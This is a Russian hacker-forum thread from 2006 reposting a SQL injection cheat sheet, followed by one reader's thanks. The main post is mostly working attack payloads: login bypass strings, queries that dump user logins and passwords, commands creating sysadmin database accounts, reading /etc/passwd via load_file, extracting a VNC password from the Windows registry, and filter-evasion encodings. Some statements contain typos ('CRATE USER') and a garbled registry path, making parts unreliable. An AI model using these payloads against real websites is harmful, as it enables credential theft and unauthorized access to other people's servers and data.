ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Рассмотрение SQL Injection
  #1  
Старый 24.12.2006, 19:39
Аватар для »Atom1c«
»Atom1c«
Banned
Регистрация: 04.11.2006
Сообщений: 370
Провел на форуме:
1763167

Репутация: 1186
Отправить сообщение для »Atom1c« с помощью ICQ
По умолчанию Рассмотрение SQL Injection

1. Вступление.
2. Проверка на уязвимости.
3. Сбор информации.
4. Типы данных.
5. Берём пароли.
6. Создаём аккаунт для БД.
7. Взаимодействие с ОС из MySQL
8. Имя и настройка сервера.
9. Получаем VNC пароль из Реестра.
10. Обход определённых ограничений.
11. MySQL - обход входных значений, за счёт использования Char().
12.Обход ограничений используя коментарии.
13.Строки без кавычек.

1. Когда на сервере открыт только 80 порт, и вероятнее всего, что админ пропатчил

сервер, лучший вариант - перейти к веб атакам. SQL injection это один из самых

распространенных видов веб атак.
Ты атакуешь скрипт, (ASP,JSP,PHP,CGI .. etc) нежели вебсервер или какую либо

службу запущенную из ОС.
SQL injection это способ использовать комманды введённые через вэб страницы,
большинство страниц берут параметры вводимые пользователем, таких как имя

пользователя или пароль или возможно даже e-mail.
Все они используют SQL запросы.

2. Стоит начать с чего-то простого.
- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--
Так же можно попробывать еще такие простоые варианты :
- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects

WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--

3. Собираем информацию.
- ' or 1 in (select @@version)--
- ' union all select @@version--
Данные запросы выведут данные о компьютер, ОС, сервис паке.

4. Нужные таблицы с информацией.



Oracle
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB

MySQL
-->mysql.user
-->mysql.host
-->mysql.db

MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases

5. Берём пароли.

'; begin declare @var varchar(8000) set @var=':' select

@var=@var+'+login+'/'+password+' ' from users where login > @var select @var as

var into temp end --

' and 1 in (select var from temp)--

' ; drop table temp --

6.Создаём Аккаунт



MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'

MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost',

PASSWORD('pass123'))

Access
CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'

Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

7. Взаимодействие с ОС через MySQL.

- ' union select 1,load_file('/etc/passwd'),1,1,1;

8. Имя сервера и настройка.

- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--

9. Получаем пароль VNC из реестра.



- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWAREORLWinVNC3Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--

10. Обход ограничений.

- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3

11.Обход ограничений на входящую строку используя char().

Втавляем без кавычек (строку = "%"):
--> ' or username like char(37);
Втавляем без кавычек (строку = "root"):
--> ' union select * from users where login = char(114,111,111,116);
Втавляем без кавычек (строку = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115, 119,100))),1,1,1;
Втавляем без кавычек (строку = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))char(39,39) ),1,0));

12. Используя коментарии

-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')

13 Сторки без кавычек.


13.Strings without quotes.
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) +

char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) +

char(0x65) + char(0x72), 0x64)

Greets: kaneda, modem, wildcard, #black and pulltheplug.

HackZona.ru

Последний раз редактировалось Mobile; 25.12.2006 в 00:12..
 
Ответить с цитированием

  #2  
Старый 27.03.2007, 08:35
Аватар для Dirty.Animal
Dirty.Animal
Новичок
Регистрация: 07.02.2007
Сообщений: 8
Провел на форуме:
27318

Репутация: -1
По умолчанию

Спасибо за статью .
Можно подробней о MS Access ?
MS Access.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ